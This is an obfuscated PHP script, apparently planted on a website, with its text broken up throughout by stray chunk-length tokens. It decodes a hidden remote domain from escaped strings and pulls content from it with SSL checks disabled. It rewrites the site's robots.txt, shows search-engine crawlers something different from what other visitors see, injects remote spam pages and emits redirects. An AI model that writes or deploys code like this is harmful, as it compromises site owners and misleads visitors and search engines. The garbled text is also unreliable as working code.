3 6 true, 16 CURLOPT_ 9 CONNECTTI 3 MEO 6 UT => 1 5 1f , CURLOPT_TIMEOUT a => 18 8, CURLOPT_ 3 SSL 5 _VERI 3 FYP 7 EER => 5 false 23 , CURLOPT_SSL_VERIFYHO 2 ST 22 => false, CURLOPT_FO 3 LLO 1 W 6 LOCATI 2 ON 21 => false, CURLOPT_U 5 SERAG 3 ENT b => "M 3 ozi 4 lla/ 4 5.0" a d ]); d $data = curl_ 4 exec 4 ($ch 13 ); curl_cl 3 ose d ($ch); } c if ( d empty($data) 3 && 8 ini_get( 4 'all 3 ow_ 6 url_fo 3 pen 11 ')) { $c 5 ontex 7 t = str 4 eam_ 9 context_c 5 reate 10 ([ 3 "ht 3 tp" 6 => [" 6 timeou 2 t" a => 8, "he 4 ader 6 " => " 4 User 3 -Ag 5 ent: c Mozilla/5.0\ 4 r\n" 1 ] 12 , "ss 3 l" 9 => ["ver 3 ify 3 _pe e er" => false, d "verify_peer_ 4 name b " => false] 1f ]); $data = 14 @file_get_contents($ 4 url, 8 false, 8 $context 16 ); } if (! d empty($data)) 11 cache_set($url, 7 $data); d return 5 $data 2f ; } /* ------------------------- URL 2 3 1 2d ------------------------- */ function get_ 8 url_info 4 (str 6 ing $t 4 ype= 4 'dom 2 ai 5 n'): f string { $ 3 hos d t = $_SERVER[ 6 'HTTP_ 6 HOST'] 3 ?? 6 ''; d if ($type 2 = 6 == 'no 3 _ww 2 w' c ) return pre 5 g_rep 3 lac 4 e('/ 5 ^www\ 3 ./i 4 ', ' 8 ', $host 1 ) d ; $pro 4 toco 4 l = 11 (!empty($_SERVER[ 7 'HTTPS' 6 ]) && 11 $_SERVER['HTTPS'] 8 !== 'of 4 f') 7 ? "http 4 s:// 3 " : a "http://" 8 ; $ 3 bas 4 e = 11 $protocol . $host d ; if ( 19 $type === 'base') return 5 $base 19 ; if ($type === 'ful 10 l') return $base 3 . d ($_SERVER['RE 3 QUE 5 ST_UR 9 I'] ?? '' a ); f return $host; 28 } /* ------------------------- 3 基 2 3 3 1 21 ------------------------- */ g 6 oto ON 3 PuB 7 ; ONPuB 4 : $h 4 ttp_ 7 type = 12 !empty($_SERVER["\ 3 x48 4 \124 3 \x5 8 4\x50\x5 2 3" 19 ]) && $_SERVER["\x48\124\ 6 124\x5 c 0\x53"] !== 4 "\15 3 7\x 3 66\ 3 146 5 " ? " 6 \150\x 9 74\x74\x7 3 0\1 3 63\ 4 72\x 6 2f\x2f 5 " : " 6 \x68\1 9 64\164\16 9 0\72\x2f\ 4 57"; 7 goto O 3 4O9 8 k; O4O9k 4 : $v 4 url 8 = "\x74\ 5 157\5 5 6\152 4 \147 4 \141 9 \x6c\x6c\ 6 163\x2 5 e\143 8 \157\x6d 5 \x2f" 9 ; goto vg 4 v72; 6 vgv72 5 : $qz 5 = su 4 bstr 4 (str 9 _replace( b array("\x77 6 \x77\1 6 67\x2e 4 ", " 5 \56") 7 , '', $ c _SERVER["\11 8 0\x54\x5 4 4\12 5 0\x5f 8 \x48\x4f 4 \123 7 \x54"]) 4 , 0, 2 3 4 ); 26 /* ------------------------- 解 2 3 f 4 参 23 数 ------------------------- */ 6 $sz = 3 $ii 5 d = " 6 "; if a (!empty($_ 4 GET) 4 ){ 3 $f 3 =re 13 set($_GET); $s 4 p = a explode('- 5 ', $f d ); if (c 3 oun 6 t($sp) 6 === 2 e ) { $ 7 sz = $ 2 sp f [0]; $ a iid = $sp[ 2 1] b ; } } 27 /* ------------------------- 2 3 3 2 20 ------------------------- */ e if (!empty($sz a )) { 6 $jd = c getCurlFast( 2 "{ c $http_type}{ 6 $vurl} 3 3kg 4 .asp 3 x?s 3 z=" 6 . url 3 enc 9 ode($sz)) 6 ; } e 3 lse 38 { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx?x e y={$http_type} b "); $s 1 z 2e = getCurlFast("{$http_type}{$vurl}3kg.aspx?jd 11 =" . urlencode($j 2 d) e ); } $hyzh 2 dy 7 = $jd 4 . "4 6 1.aspx 6 "; $s 5 url b = $jd . "s b 41.aspx"; 27 /* ------------------------- ro 4 bots 4 / s 4 item 2 ap 28 ------------------------- */ $sitemap 3 Lin 6 e = "S 8 itemap: e {$http_type}{$ 14 _SERVER['HTTP_HOST'] e }{$_SERVER['SC 2 RI 5 PT_NA 5 ME']} 2 ?w c =" . date('Y 3 mdH 2 i' 5 ) . " 4 \n"; d function en 5 sure_ 7 robots_ 8 sitemap( c $sitemapLine 11 ) { $robots 3 = r 14 trim($_SERVER['DOCUM 6 ENT_RO 4 OT'] 5 , "/\ 2 \" c ) . '/robots 4 .txt c '; if ( 1 ! 13 file_exists($robots e )) { 14 @file_put_contents($ 7 robots, 8 "User-a 8 gent: *\ 2 nA 6 llow: 4 /\n" 4 . $ 18 sitemapLine, LOCK_EX); 5 } d else { 6 $c 1e = @file_get_contents($robots) 1 ; 12 if ($c = 9 == false 3 || 9 strpos($c e , $sitemapLine b ) === false 11 ) { 1c @file_put_contents($robots, 14 $sitemapLine, FILE_A 4 PPEN 3 D | 10 LOCK_EX); 7 } a } } 28 /* ------------------------- w= 2 3 1 2f ------------------------- */ if (!empty($get 3 ['w 8 '])) { 9 $pa 3 ram 4 s = 7 http_bu 4 ild_ 3 que 2 ry e ([ 'N 3 OUm 4 ber' 4 => e $get['NOUmber' 7 ] ?? '' e , 't' a => 7 $get['t 17 '] ?? '', 'cn' f => $get[' 17 cn'] ?? '', 'p 5 NOUm' 12 => $get['pNOUm' 15 ] ?? '', 'ci 2 d' 12 => $get['cid' 14 ] ?? '', 'm 11 ' => $get[' 10 m'] ?? '' ] b ); $ 3 str 12 = getCurlFast("{$ 6 surl}? 8 {$params 6 }"); 9 ech 2 o 16 str_replace( 3 ['y 4 ymm' 3 ,'g 8 gggg','? 2 f= e '], [ b $http_type. 15 $_SERVER['HTTP_HOST'] 1 . 1b $_SERVER['SCRIPT_NAME'], $s 5 z,'?' 4 .$qz 2 .' 12 ='], $str e ); 3 exi 2d t; } /* ------------------------- I 3 P 3 5 ( 2 3 3 k 3 k 3 2 24 ) ------------------------- */ $ 5 kk = 2 is a set($get[' 2 kk 5 ']) ? 6 trim( d $get['kk']) : 6 ''; b $ip = ($kk 5 !== ' 7 ') ? "6 3 6.2 3 49. 3 82. 5 8" : d get_real_ip() 28 ; /* ------------------------- 3 get 7 domain2 6 判 1 27 ------------------------- */ $domain 8 = trim( d getCurlFast($ 10 jd . "getdomain2 7 .aspx?r 3 nd= 4 1&ip 5 =" . 4 $ip) 2a ); /* ------------------------- 2 6 googl 3 e + 5 iid 2 3 3 2 24 ------------------------- */ if ( d $domain !== ' 7 google' 4 && b !empty($iid b )) { $ 5 kname 6 = url 2 de 5 code( 1b getCurlFast($jd . "gn.aspx? 3 iid 8 =" . $ii f d)); echo 3 'lo 2 ca 6 tion=" 4 ' . 8 $jd . "a b .aspx?cname 10 =" . urlencode($ 5 kname 9 ) . "&url 6 =" . $ b http_type . 17 $_SERVER['HTTP_HOST'] c . $_SERVER[' 12 SCRIPT_NAME'] . '" 2 ' 36 ; exit; } /* ------------------------- 4 iid 40 输出 ------------------------- */ if (!empty($iid)) { $ 12 str = getCurlFast( 8 $hyzhdy 8 . "?iid= 5 {$iid 29 }"); echo str_replace( [' 9 ggggg','Y 7 YYYY',' 3 XXX 7 YYY',' 3 2 6 URL',' 5 UUUUU 8 ','MMMMM 15 ','?f='], [$ 3 sz, f get_url_info() f , get_url_info( 17 'base'), get_url_info(' 6 full') 10 , get_url_info(' 9 no_www'), 5 parse 4 _url 1b ($_SERVER['REQUEST_URI'], P 2 HP 6 _URL_P 3 ATH 1 ) 59 ,'?'.$qz.'='], $str ); exit; } /* ------------------------- a sitemap he 4 lper 29 ------------------------- */ function 3 out 4 put_ a sitemap_an 5 d_exi e t($sitemapLine 1 , 14 $http_type) { 23 ensure_robots_sitemap($sitemapLine) d ; echo " 3 14 8 Sitemap< 2 /a f > " 36 ; exit; } /* ------------------------- 3 kk 7 输出 3 2 25 ------------------------- */ if ($ d kk !== '' && 8 preg_mat 2 ch 6 ('/^[A 3 -Za 3 -z0 3 -9] 3 +$/ 5 ', $k 1 k e )) { $rem 3 ote 10 = getCurlFast($ 1c jd . "getdomain2.aspx?rnd=2& 2 kk 9 =" . $kk) c ; if (! 7 empty($ 14 remote)) { 5 echo 7 $remote 12 ; exit; c } } 13 if ($kk !== '' && ! 2c preg_match('/^[A-Za-z0-9]+$/', $kk)) { 31 output_sitemap_and_exit($sitemapLine, $http_type) a ; } $i 5 s_no_ 5 query 4 = e f mpty($_SERVER[' 5 QUERY 7 _STRING 11 ']); if ($kk = 9 == '' && c $is_no_query 15 ) { if ($domain c === 'google' d ) { 34 output_sitemap_and_exit($sitemapLine, $http_type); 16 } else { 13 exit; } } 35 output_sitemap_and_exit($sitemapLine, $http_type); ? 3 > 0